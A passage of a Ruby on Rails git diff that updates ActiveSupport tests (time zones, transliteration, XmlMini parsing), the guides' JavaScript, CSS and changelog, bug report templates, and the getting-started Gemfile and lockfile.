+ assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 3), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_back
+ end
+
+ def test_yesterday
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ assert_equal Date.new(1999, 12, 30), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_back
+ end
+
+ def test_travel_to_a_date
+ with_env_tz do
+ Time.use_zone('Hawaii') do
+ date = Date.new(2014, 2, 18)
+ time = date.midnight
+
+ travel_to date do
+ assert_equal date, Date.current
+ assert_equal time, Time.current
+ end
+ end
+ end
+ end
+
+ def test_travel_to_travels_back_and_reraises_if_the_block_raises
+ ts = Time.current - 1.second
+
+ travel_to ts do
+ raise
+ end
+
+ flunk # ensure travel_to re-raises
+ rescue
+ assert_not_equal ts, Time.current
end
def test_local
diff --git a/activesupport/test/transliterate_test.rb b/activesupport/test/transliterate_test.rb
index ce91c443e1..e0f85f4e7c 100644
--- a/activesupport/test/transliterate_test.rb
+++ b/activesupport/test/transliterate_test.rb
@@ -3,7 +3,6 @@ require 'abstract_unit'
require 'active_support/inflector/transliterate'
class TransliterateTest < ActiveSupport::TestCase
-
def test_transliterate_should_not_change_ascii_chars
(0..127).each do |byte|
char = [byte].pack("U")
@@ -24,12 +23,13 @@ class TransliterateTest < ActiveSupport::TestCase
def test_transliterate_should_work_with_custom_i18n_rules_and_uncomposed_utf8
char = [117, 776].pack("U*") # "ü" as ASCII "u" plus COMBINING DIAERESIS
I18n.backend.store_translations(:de, :i18n => {:transliterate => {:rule => {"ü" => "ue"}}})
- I18n.locale = :de
+ default_locale, I18n.locale = I18n.locale, :de
assert_equal "ue", ActiveSupport::Inflector.transliterate(char)
+ ensure
+ I18n.locale = default_locale
end
def test_transliterate_should_allow_a_custom_replacement_char
assert_equal "a*b", ActiveSupport::Inflector.transliterate("a索b", "*")
end
-
end
diff --git a/activesupport/test/xml_mini_test.rb b/activesupport/test/xml_mini_test.rb
index a025279e16..f49431cbbf 100644
--- a/activesupport/test/xml_mini_test.rb
+++ b/activesupport/test/xml_mini_test.rb
@@ -1,6 +1,9 @@
require 'abstract_unit'
require 'active_support/xml_mini'
require 'active_support/builder'
+require 'active_support/core_ext/array'
+require 'active_support/core_ext/hash'
+require 'active_support/core_ext/big_decimal'
module XmlMiniTest
class RenameKeyTest < ActiveSupport::TestCase
@@ -88,6 +91,61 @@ module XmlMiniTest
assert_xml "<b>Howdy</b>"
end
+ test "#to_tag should use the type value in the options hash" do
+ @xml.to_tag(:b, "blue", @options.merge(type: 'color'))
+ assert_xml( "<b type=\"color\">blue</b>" )
+ end
+
+ test "#to_tag accepts symbol types" do
+ @xml.to_tag(:b, :name, @options)
+ assert_xml( "<b type=\"symbol\">name</b>" )
+ end
+
+ test "#to_tag accepts boolean types" do
+ @xml.to_tag(:b, true, @options)
+ assert_xml( "<b type=\"boolean\">true</b>")
+ end
+
+ test "#to_tag accepts float types" do
+ @xml.to_tag(:b, 3.14, @options)
+ assert_xml( "<b type=\"float\">3.14</b>")
+ end
+
+ test "#to_tag accepts decimal types" do
+ @xml.to_tag(:b, ::BigDecimal.new("1.2"), @options)
+ assert_xml( "<b type=\"decimal\">1.2</b>")
+ end
+
+ test "#to_tag accepts date types" do
+ @xml.to_tag(:b, Date.new(2001,2,3), @options)
+ assert_xml( "<b type=\"date\">2001-02-03</b>")
+ end
+
+ test "#to_tag accepts datetime types" do
+ @xml.to_tag(:b, DateTime.new(2001,2,3,4,5,6,'+7'), @options)
+ assert_xml( "<b type=\"dateTime\">2001-02-03T04:05:06+07:00</b>")
+ end
+
+ test "#to_tag accepts time types" do
+ @xml.to_tag(:b, Time.new(1993, 02, 24, 12, 0, 0, "+09:00"), @options)
+ assert_xml( "<b type=\"dateTime\">1993-02-24T12:00:00+09:00</b>")
+ end
+
+ test "#to_tag accepts array types" do
+ @xml.to_tag(:b, ["first_name", "last_name"], @options)
+ assert_xml( "<b type=\"array\"><b>first_name</b><b>last_name</b></b>" )
+ end
+
+ test "#to_tag accepts hash types" do
+ @xml.to_tag(:b, { first_name: "Bob", last_name: "Marley" }, @options)
+ assert_xml( "<b><first-name>Bob</first-name><last-name>Marley</last-name></b>" )
+ end
+
+ test "#to_tag should not add type when skip types option is set" do
+ @xml.to_tag(:b, "Bob", @options.merge(skip_types: 1))
+ assert_xml( "<b>Bob</b>" )
+ end
+
test "#to_tag should dasherize the space when passed a string with spaces as a key" do
@xml.to_tag("New York", 33, @options)
assert_xml "<New---York type=\"integer\">33</New---York>"
@@ -97,7 +155,6 @@ module XmlMiniTest
@xml.to_tag(:"New York", 33, @options)
assert_xml "<New---York type=\"integer\">33</New---York>"
end
- # TODO: test the remaining functions hidden in #to_tag.
end
class WithBackendTest < ActiveSupport::TestCase
@@ -106,7 +163,11 @@ module XmlMiniTest
module Nokogiri end
setup do
- @xml = ActiveSupport::XmlMini
+ @xml, @default_backend = ActiveSupport::XmlMini, ActiveSupport::XmlMini.backend
+ end
+
+ teardown do
+ ActiveSupport::XmlMini.backend = @default_backend
end
test "#with_backend should switch backend and then switch back" do
@@ -135,7 +196,11 @@ module XmlMiniTest
module LibXML end
setup do
- @xml = ActiveSupport::XmlMini
+ @xml, @default_backend = ActiveSupport::XmlMini, ActiveSupport::XmlMini.backend
+ end
+
+ teardown do
+ ActiveSupport::XmlMini.backend = @default_backend
end
test "#with_backend should be thread-safe" do
@@ -161,4 +226,128 @@ module XmlMiniTest
end
end
end
+
+ class ParsingTest < ActiveSupport::TestCase
+ def setup
+ @parsing = ActiveSupport::XmlMini::PARSING
+ end
+
+ def test_symbol
+ parser = @parsing['symbol']
+ assert_equal :symbol, parser.call('symbol')
+ assert_equal :symbol, parser.call(:symbol)
+ assert_equal :'123', parser.call(123)
+ assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+ end
+
+ def test_date
+ parser = @parsing['date']
+ assert_equal Date.new(2013,11,12), parser.call("2013-11-12T0211Z")
+ assert_raises(TypeError) { parser.call(1384190018) }
+ assert_raises(ArgumentError) { parser.call("not really a date") }
+ end
+
+ def test_datetime
+ parser = @parsing['datetime']
+ assert_equal Time.new(2013,11,12,02,11,00,0), parser.call("2013-11-12T02:11:00Z")
+ assert_equal DateTime.new(2013,11,12), parser.call("2013-11-12T0211Z")
+ assert_equal DateTime.new(2013,11,12,02,11), parser.call("2013-11-12T02:11Z")
+ assert_equal DateTime.new(2013,11,12,02,11), parser.call("2013-11-12T11:11+9")
+ assert_raises(ArgumentError) { parser.call("1384190018") }
+ end
+
+ def test_integer
+ parser = @parsing['integer']
+ assert_equal 123, parser.call(123)
+ assert_equal 123, parser.call(123.003)
+ assert_equal 123, parser.call("123")
+ assert_equal 0, parser.call("")
+ assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+ end
+
+ def test_float
+ parser = @parsing['float']
+ assert_equal 123, parser.call("123")
+ assert_equal 123.003, parser.call("123.003")
+ assert_equal 123.0, parser.call("123,003")
+ assert_equal 0.0, parser.call("")
+ assert_equal 123, parser.call(123)
+ assert_equal 123.05, parser.call(123.05)
+ assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+ end
+
+ def test_decimal
+ parser = @parsing['decimal']
+ assert_equal 123, parser.call("123")
+ assert_equal 123.003, parser.call("123.003")
+ assert_equal 123.0, parser.call("123,003")
+ assert_equal 0.0, parser.call("")
+ assert_equal 123, parser.call(123)
+ assert_raises(ArgumentError) { parser.call(123.04) }
+ assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+ end
+
+ def test_boolean
+ parser = @parsing['boolean']
+ [1, true, "1"].each do |value|
+ assert parser.call(value)
+ end
+
+ [0, false, "0"].each do |value|
+ assert_not parser.call(value)
+ end
+ end
+
+ def test_string
+ parser = @parsing['string']
+ assert_equal "123", parser.call(123)
+ assert_equal "123", parser.call("123")
+ assert_equal "[]", parser.call("[]")
+ assert_equal "[]", parser.call([])
+ assert_equal "{}", parser.call({})
+ assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+ end
+
+ def test_yaml
+ yaml = <<YAML
+product:
+ - sku : BL394D
+ quantity : 4
+ description : Basketball
+YAML
+ expected = {
+ "product"=> [
+ {"sku"=>"BL394D", "quantity"=>4, "description"=>"Basketball"}
+ ]
+ }
+ parser = @parsing['yaml']
+ assert_equal(expected, parser.call(yaml))
+ assert_equal({1 => 'test'}, parser.call({1 => 'test'}))
+ assert_equal({"1 => 'test'"=>nil}, parser.call("{1 => 'test'}"))
+ end
+
+ def test_base64Binary_and_binary
+ base64 = <<BASE64
+TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWFzb24sIGJ1dCBieSB0aGlz
+IHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdGhlciBhbmltYWxzLCB3aGljaCBpcyBhIGx1c3Qgb2Yg
+dGhlIG1pbmQsIHRoYXQgYnkgYSBwZXJzZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUgY29udGlu
+dWVkIGFuZCBpbmRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Yga25vd2xlZGdlLCBleGNlZWRzIHRo
+ZSBzaG9ydCB2ZWhlbWVuY2Ugb2YgYW55IGNhcm5hbCBwbGVhc3VyZS4=
+BASE64
+ expected_base64 = <<EXPECTED
+Man is distinguished, not only by his reason, but by this singular passion from
+other animals, which is a lust of the mind, that by a perseverance of delight
+in the continued and indefatigable generation of knowledge, exceeds the short
+vehemence of any carnal pleasure.
+EXPECTED
+
+ parser = @parsing['base64Binary']
+ assert_equal expected_base64.gsub(/\n/," ").strip, parser.call(base64)
+ parser.call("NON BASE64 INPUT")
+
+ parser = @parsing['binary']
+ assert_equal expected_base64.gsub(/\n/," ").strip, parser.call(base64, 'encoding' => 'base64')
+ assert_equal "IGNORED INPUT", parser.call("IGNORED INPUT", {})
+ end
+ end
end
diff --git a/guides/CHANGELOG.md b/guides/CHANGELOG.md
index 37257baeba..14ad4fd424 100644
--- a/guides/CHANGELOG.md
+++ b/guides/CHANGELOG.md
@@ -1,5 +1,9 @@
-* Removed repetitive th tags. Instead of them added one th tag with a colspan attribute.
-
- *Sıtkı Bağdat*
+* Updates the maintenance policy to match the latest versions of Rails
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/guides/CHANGELOG.md) for previous changes.
+ *Matias Korhonen*
+
+* Switched the order of `Applying a default scope` and `Merging of scopes` subsections so default scopes are introduced first.
+
+ *Alex Riabov*
+
+Please check [4-1-stable](https://github.com/rails/rails/blob/4-1-stable/guides/CHANGELOG.md) for previous changes.
diff --git a/guides/Rakefile b/guides/Rakefile
index d6dd950d01..94d4be8c0a 100644
--- a/guides/Rakefile
+++ b/guides/Rakefile
@@ -13,8 +13,8 @@ namespace :guides do
desc "Generate .mobi file. The kindlegen executable must be in your PATH. You can get it for free from http://www.amazon.com/kindlepublishing"
task :kindle do
- unless `kindlerb -v 2> /dev/null` =~ /kindlerb 0.1.1/
- abort "Please `gem install kindlerb`"
+ unless `kindlerb -v 2> /dev/null` =~ /kindlerb 0.1.1/
+ abort "Please `gem install kindlerb` and make sure you have `kindlegen` in your PATH"
end
unless `convert` =~ /convert/
abort "Please install ImageMagick`"
diff --git a/guides/assets/images/akshaysurve.jpg b/guides/assets/images/akshaysurve.jpg
new file mode 100644
index 0000000000..cfc3333958
--- /dev/null
+++ b/guides/assets/images/akshaysurve.jpg
Binary files differ
diff --git a/guides/assets/images/getting_started/article_with_comments.png b/guides/assets/images/getting_started/article_with_comments.png
new file mode 100644
index 0000000000..117a78a39f
--- /dev/null
+++ b/guides/assets/images/getting_started/article_with_comments.png
Binary files differ
diff --git a/guides/assets/images/getting_started/challenge.png b/guides/assets/images/getting_started/challenge.png
index 4a30e49e6d..5b88a842b2 100644
--- a/guides/assets/images/getting_started/challenge.png
+++ b/guides/assets/images/getting_started/challenge.png
Binary files differ
diff --git a/guides/assets/images/getting_started/confirm_dialog.png b/guides/assets/images/getting_started/confirm_dialog.png
index 1a13eddd91..9755f581a6 100644
--- a/guides/assets/images/getting_started/confirm_dialog.png
+++ b/guides/assets/images/getting_started/confirm_dialog.png
Binary files differ
diff --git a/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png b/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
new file mode 100644
index 0000000000..9f32c68472
--- /dev/null
+++ b/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
Binary files differ
diff --git a/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png b/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png
deleted file mode 100644
index 6c78e52173..0000000000
--- a/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/form_with_errors.png b/guides/assets/images/getting_started/form_with_errors.png
index 6910e1647e..98bff37d4a 100644
--- a/guides/assets/images/getting_started/form_with_errors.png
+++ b/guides/assets/images/getting_started/form_with_errors.png
Binary files differ
diff --git a/guides/assets/images/getting_started/index_action_with_edit_link.png b/guides/assets/images/getting_started/index_action_with_edit_link.png
index bf23cba231..0566a3ffde 100644
--- a/guides/assets/images/getting_started/index_action_with_edit_link.png
+++ b/guides/assets/images/getting_started/index_action_with_edit_link.png
Binary files differ
diff --git a/guides/assets/images/getting_started/new_article.png b/guides/assets/images/getting_started/new_article.png
new file mode 100644
index 0000000000..bd3ae4fa67
--- /dev/null
+++ b/guides/assets/images/getting_started/new_article.png
Binary files differ
diff --git a/guides/assets/images/getting_started/new_post.png b/guides/assets/images/getting_started/new_post.png
deleted file mode 100644
index b20b0192d4..0000000000
--- a/guides/assets/images/getting_started/new_post.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/post_with_comments.png b/guides/assets/images/getting_started/post_with_comments.png
deleted file mode 100644
index e13095ff8f..0000000000
--- a/guides/assets/images/getting_started/post_with_comments.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/rails_welcome.png b/guides/assets/images/getting_started/rails_welcome.png
index 569dd846a8..3e07c948a0 100644
--- a/guides/assets/images/getting_started/rails_welcome.png
+++ b/guides/assets/images/getting_started/rails_welcome.png
Binary files differ
diff --git a/guides/assets/images/getting_started/routing_error_no_controller.png b/guides/assets/images/getting_started/routing_error_no_controller.png
index 35ee4f348f..ed62862291 100644
--- a/guides/assets/images/getting_started/routing_error_no_controller.png
+++ b/guides/assets/images/getting_started/routing_error_no_controller.png
Binary files differ
diff --git a/guides/assets/images/getting_started/routing_error_no_route_matches.png b/guides/assets/images/getting_started/routing_error_no_route_matches.png
index 1cbddfa0f1..08c54f921f 100644
--- a/guides/assets/images/getting_started/routing_error_no_route_matches.png
+++ b/guides/assets/images/getting_started/routing_error_no_route_matches.png
Binary files differ
diff --git a/guides/assets/images/getting_started/show_action_for_articles.png b/guides/assets/images/getting_started/show_action_for_articles.png
new file mode 100644
index 0000000000..4dad704f89
--- /dev/null
+++ b/guides/assets/images/getting_started/show_action_for_articles.png
Binary files differ
diff --git a/guides/assets/images/getting_started/show_action_for_posts.png b/guides/assets/images/getting_started/show_action_for_posts.png
deleted file mode 100644
index 9467df6a07..0000000000
--- a/guides/assets/images/getting_started/show_action_for_posts.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/template_is_missing_articles_new.png b/guides/assets/images/getting_started/template_is_missing_articles_new.png
new file mode 100644
index 0000000000..4e636d09ff
--- /dev/null
+++ b/guides/assets/images/getting_started/template_is_missing_articles_new.png
Binary files differ
diff --git a/guides/assets/images/getting_started/template_is_missing_posts_new.png b/guides/assets/images/getting_started/template_is_missing_posts_new.png
deleted file mode 100644
index f03db05fb8..0000000000
--- a/guides/assets/images/getting_started/template_is_missing_posts_new.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/undefined_method_post_path.png b/guides/assets/images/getting_started/undefined_method_post_path.png
deleted file mode 100644
index c29cb2f54f..0000000000
--- a/guides/assets/images/getting_started/undefined_method_post_path.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/unknown_action_create_for_articles.png b/guides/assets/images/getting_started/unknown_action_create_for_articles.png
new file mode 100644
index 0000000000..fd20cd53dc
--- /dev/null
+++ b/guides/assets/images/getting_started/unknown_action_create_for_articles.png
Binary files differ
diff --git a/guides/assets/images/getting_started/unknown_action_create_for_posts.png b/guides/assets/images/getting_started/unknown_action_create_for_posts.png
deleted file mode 100644
index 8fdd4c574a..0000000000
--- a/guides/assets/images/getting_started/unknown_action_create_for_posts.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/unknown_action_new_for_articles.png b/guides/assets/images/getting_started/unknown_action_new_for_articles.png
new file mode 100644
index 0000000000..e948a51e4a
--- /dev/null
+++ b/guides/assets/images/getting_started/unknown_action_new_for_articles.png
Binary files differ
diff --git a/guides/assets/images/getting_started/unknown_action_new_for_posts.png b/guides/assets/images/getting_started/unknown_action_new_for_posts.png
deleted file mode 100644
index 7e72feee38..0000000000
--- a/guides/assets/images/getting_started/unknown_action_new_for_posts.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/javascripts/guides.js b/guides/assets/javascripts/guides.js
index 7e494fb6d8..e4d25dfb21 100644
--- a/guides/assets/javascripts/guides.js
+++ b/guides/assets/javascripts/guides.js
@@ -1,57 +1,53 @@
-function guideMenu(){
- if (document.getElementById('guides').style.display == "none") {
- document.getElementById('guides').style.display = "block";
- } else {
- document.getElementById('guides').style.display = "none";
- }
-}
-
-$.fn.selectGuide = function(guide){
+$.fn.selectGuide = function(guide) {
$("select", this).val(guide);
-}
+};
-guidesIndex = {
- bind: function(){
+var guidesIndex = {
+ bind: function() {
var currentGuidePath = window.location.pathname;
var currentGuide = currentGuidePath.substring(currentGuidePath.lastIndexOf("/")+1);
$(".guides-index-small").
on("change", "select", guidesIndex.navigate).
selectGuide(currentGuide);
- $(".more-info-button:visible").click(function(e){
+ $(document).on("click", ".more-info-button", function(e){
e.stopPropagation();
- if($(".more-info-links").is(":visible")){
+ if ($(".more-info-links").is(":visible")) {
$(".more-info-links").addClass("s-hidden").unwrap();
} else {
$(".more-info-links").wrap("<div class='more-info-container'></div>").removeClass("s-hidden");
}
- $(document).on("click", function(e){
- var $button = $(".more-info-button");
- var element;
+ });
+ $("#guidesMenu").on("click", function(e) {
+ $("#guides").toggle();
+ return false;
+ });
+ $(document).on("click", function(e){
+ e.stopPropagation();
+ var $button = $(".more-info-button");
+ var element;
- // Cross browser find the element that had the event
- if (e.target) element = e.target;
- else if (e.srcElement) element = e.srcElement;
+ // Cross browser find the element that had the event
+ if (e.target) element = e.target;
+ else if (e.srcElement) element = e.srcElement;
- // Defeat the older Safari bug:
- // http://www.quirksmode.org/js/events_properties.html
- if (element.nodeType == 3) element = element.parentNode;
+ // Defeat the older Safari bug:
+ // http://www.quirksmode.org/js/events_properties.html
+ if (element.nodeType === 3) element = element.parentNode;
- var $element = $(element);
+ var $element = $(element);
- var $container = $element.parents(".more-info-container");
+ var $container = $element.parents(".more-info-container");
- // We've captured a click outside the popup
- if($container.length == 0){
- $container = $button.next(".more-info-container");
- $container.find(".more-info-links").addClass("s-hidden").unwrap();
- $(document).off("click");
- }
- });
+ // We've captured a click outside the popup
+ if($container.length === 0){
+ $container = $button.next(".more-info-container");
+ $container.find(".more-info-links").addClass("s-hidden").unwrap();
+ }
});
},
navigate: function(e){
var $list = $(e.target);
- url = $list.val();
+ var url = $list.val();
window.location = url;
}
-}
+};
diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css
index ca319c91cf..898f9ff05b 100644
--- a/guides/assets/stylesheets/main.css
+++ b/guides/assets/stylesheets/main.css
@@ -129,6 +129,7 @@ body {
font-family: Helvetica, Arial, Sans-Serif;
text-decoration: none;
vertical-align: middle;
+ cursor: pointer;
}
.red-button:active {
border-top: none;
diff --git a/guides/assets/stylesheets/print.css b/guides/assets/stylesheets/print.css
index 628da105d4..bdc8ec948d 100644
--- a/guides/assets/stylesheets/print.css
+++ b/guides/assets/stylesheets/print.css
@@ -36,7 +36,7 @@ hr {
}
h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
-code { font:.9em "Courier New", Monaco, Courier, monospace; }
+code { font:.9em "Courier New", Monaco, Courier, monospace; display:inline}
img { float:left; margin:1.5em 1.5em 1.5em 0; }
a img { border:none; }
diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb
new file mode 100644
index 0000000000..9387e3dc1d
--- /dev/null
+++ b/guides/bug_report_templates/action_controller_gem.rb
@@ -0,0 +1,47 @@
+# Activate the gem you are reporting the issue against.
+gem 'rails', '4.0.0'
+
+require 'rails'
+require 'action_controller/railtie'
+
+class TestApp < Rails::Application
+ config.root = File.dirname(__FILE__)
+ config.session_store :cookie_store, key: 'cookie_store_key'
+ config.secret_token = 'secret_token'
+ config.secret_key_base = 'secret_key_base'
+
+ config.logger = Logger.new($stdout)
+ Rails.logger = config.logger
+
+ routes.draw do
+ get '/' => 'test#index'
+ end
+end
+
+class TestController < ActionController::Base
+ include Rails.application.routes.url_helpers
+
+ def index
+ render text: 'Home'
+ end
+end
+
+require 'minitest/autorun'
+require 'rack/test'
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+class BugTest < Minitest::Test
+ include Rack::Test::Methods
+
+ def test_returns_success
+ get '/'
+ assert last_response.ok?
+ end
+
+ private
+ def app
+ Rails.application
+ end
+end
diff --git a/guides/bug_report_templates/action_controller_master.rb b/guides/bug_report_templates/action_controller_master.rb
new file mode 100644
index 0000000000..d44fd9196a
--- /dev/null
+++ b/guides/bug_report_templates/action_controller_master.rb
@@ -0,0 +1,53 @@
+unless File.exist?('Gemfile')
+ File.write('Gemfile', <<-GEMFILE)
+ source 'https://rubygems.org'
+ gem 'rails', github: 'rails/rails'
+ GEMFILE
+
+ system 'bundle'
+end
+
+require 'bundler'
+Bundler.setup(:default)
+
+require 'rails'
+require 'action_controller/railtie'
+
+class TestApp < Rails::Application
+ config.root = File.dirname(__FILE__)
+ config.session_store :cookie_store, key: 'cookie_store_key'
+ config.secret_token = 'secret_token'
+ config.secret_key_base = 'secret_key_base'
+
+ config.logger = Logger.new($stdout)
+ Rails.logger = config.logger
+
+ routes.draw do
+ get '/' => 'test#index'
+ end
+end
+
+class TestController < ActionController::Base
+ include Rails.application.routes.url_helpers
+
+ def index
+ render text: 'Home'
+ end
+end
+
+require 'minitest/autorun'
+require 'rack/test'
+
+class BugTest < Minitest::Test
+ include Rack::Test::Methods
+
+ def test_returns_success
+ get '/'
+ assert last_response.ok?
+ end
+
+ private
+ def app
+ Rails.application
+ end
+end
diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb
index a8868a1877..d72633d0b2 100644
--- a/guides/bug_report_templates/active_record_gem.rb
+++ b/guides/bug_report_templates/active_record_gem.rb
@@ -4,6 +4,9 @@ require 'active_record'
require 'minitest/autorun'
require 'logger'
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
# This connection will do for database-independent bug reports.
ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:')
ActiveRecord::Base.logger = Logger.new(STDOUT)
@@ -25,7 +28,7 @@ class Comment < ActiveRecord::Base
belongs_to :post
end
-class BugTest < MiniTest::Unit::TestCase
+class BugTest < Minitest::Test
def test_association_stuff
post = Post.create!
post.comments << Comment.create!
diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb
index 68069cdd8d..d95354e12d 100644
--- a/guides/bug_report_templates/active_record_master.rb
+++ b/guides/bug_report_templates/active_record_master.rb
@@ -1,7 +1,8 @@
-unless File.exists?('Gemfile')
+unless File.exist?('Gemfile')
File.write('Gemfile', <<-GEMFILE)
source 'https://rubygems.org'
gem 'rails', github: 'rails/rails'
+ gem 'arel', github: 'rails/arel'
gem 'sqlite3'
GEMFILE
@@ -36,7 +37,7 @@ class Comment < ActiveRecord::Base
belongs_to :post
end
-class BugTest < MiniTest::Unit::TestCase
+class BugTest < Minitest::Test
def test_association_stuff
post = Post.create!
post.comments << Comment.create!
diff --git a/guides/code/getting_started/Gemfile b/guides/code/getting_started/Gemfile
index acd2ed5160..c3d7e96c4d 100644
--- a/guides/code/getting_started/Gemfile
+++ b/guides/code/getting_started/Gemfile
@@ -1,43 +1,40 @@
source 'https://rubygems.org'
-gem 'rails', '4.0.0'
+# Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
+gem 'rails', '4.1.0'
# Use sqlite3 as the database for Active Record
gem 'sqlite3'
-
# Use SCSS for stylesheets
-gem 'sass-rails'
-
+gem 'sass-rails', '~> 4.0.1'
+# Use Uglifier as compressor for JavaScript assets
+gem 'uglifier', '>= 1.3.0'
# Use CoffeeScript for .js.coffee assets and views
-gem 'coffee-rails'
-
+gem 'coffee-rails', '~> 4.0.0'
# See https://github.com/sstephenson/execjs#readme for more supported runtimes
-# gem 'therubyracer', platforms: :ruby
-
-# Use Uglifier as compressor for JavaScript assets
-gem 'uglifier', '>= 1.0.3'
+# gem 'therubyracer', platforms: :ruby
+# Use jquery as the JavaScript library
gem 'jquery-rails'
-
# Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks
gem 'turbolinks'
-
-group :doc do
- # bundle exec rake doc:rails generates the API under doc/api.
- gem 'sdoc', require: false
-end
-
# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
-gem 'jbuilder', '~> 1.2'
+gem 'jbuilder', '~> 2.0'
+# bundle exec rake doc:rails generates the API under doc/api.
+gem 'sdoc', '~> 0.4.0', group: :doc
-# To use ActiveModel has_secure_password
-# gem 'bcrypt-ruby', '~> 3.0.0'
+# Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring
+gem 'spring', group: :development
+
+# Use ActiveModel has_secure_password
+# gem 'bcrypt', '~> 3.1.7'
# Use unicorn as the app server
# gem 'unicorn'
-# Deploy with Capistrano
-# gem 'capistrano', group: :development
+# Use Capistrano for deployment
+# gem 'capistrano-rails', group: :development
+
+# Use debugger
+# gem 'debugger', group: [:development, :test]
-# To use debugger
-# gem 'debugger'
diff --git a/guides/code/getting_started/Gemfile.lock b/guides/code/getting_started/Gemfile.lock
index 888a6b30e2..a2ab76c908 100644
--- a/guides/code/getting_started/Gemfile.lock
+++ b/guides/code/getting_started/Gemfile.lock
@@ -1,150 +1,126 @@
-GIT
- remote: git://github.com/rails/activerecord-deprecated_finders.git
- revision: 2e7b35d7948cefb2bba96438873d7f7bb1961a03
- specs:
- activerecord-deprecated_finders (0.0.2)
-
-GIT
- remote: git://github.com/rails/arel.git
- revision: 38d0a222e275d917a2c1d093b24457bafb600a00
- specs:
- arel (3.0.2.20120819075748)
-
-GIT
- remote: git://github.com/rails/coffee-rails.git
- revision: 052634e6d02d4800d7b021201cc8d5829775b3cd
- specs:
- coffee-rails (4.0.0.beta)
- coffee-script (>= 2.2.0)
- railties (>= 4.0.0.beta, < 5.0)
-
-GIT
- remote: git://github.com/rails/sass-rails.git
- revision: ae8138a89cac397c0df903dd533e2862902ce8f5
- specs:
- sass-rails (4.0.0.beta)
- railties (>= 4.0.0.beta, < 5.0)
- sass (>= 3.1.10)
- sprockets-rails (~> 2.0.0.rc0)
- tilt (~> 1.3)
-
-GIT
- remote: git://github.com/rails/sprockets-rails.git
- revision: 09917104fdb42245fe369612a7b0e3d77e1ba763
- specs:
- sprockets-rails (2.0.0.rc1)
- actionpack (>= 3.0)
- activesupport (>= 3.0)
- sprockets (~> 2.8)
-
-PATH
- remote: /Users/steve/src/rails
- specs:
- actionmailer (4.0.0.beta)
- actionpack (= 4.0.0.beta)
- mail (~> 2.5.3)
- actionpack (4.0.0.beta)
- activesupport (= 4.0.0.beta)
- builder (~> 3.1.0)
- erubis (~> 2.7.0)
- rack (~> 1.4.3)
- rack-test (~> 0.6.1)
- activemodel (4.0.0.beta)
- activesupport (= 4.0.0.beta)
- builder (~> 3.1.0)
- activerecord (4.0.0.beta)
- activemodel (= 4.0.0.beta)
- activerecord-deprecated_finders (= 0.0.2)
- activesupport (= 4.0.0.beta)
- arel (~> 3.0.2)
- activesupport (4.0.0.beta)
- i18n (~> 0.6)
- minitest (~> 4.1)
- multi_json (~> 1.3)
- thread_safe (~> 0.1)
- tzinfo (~> 0.3.33)
- rails (4.0.0.beta)
- actionmailer (= 4.0.0.beta)
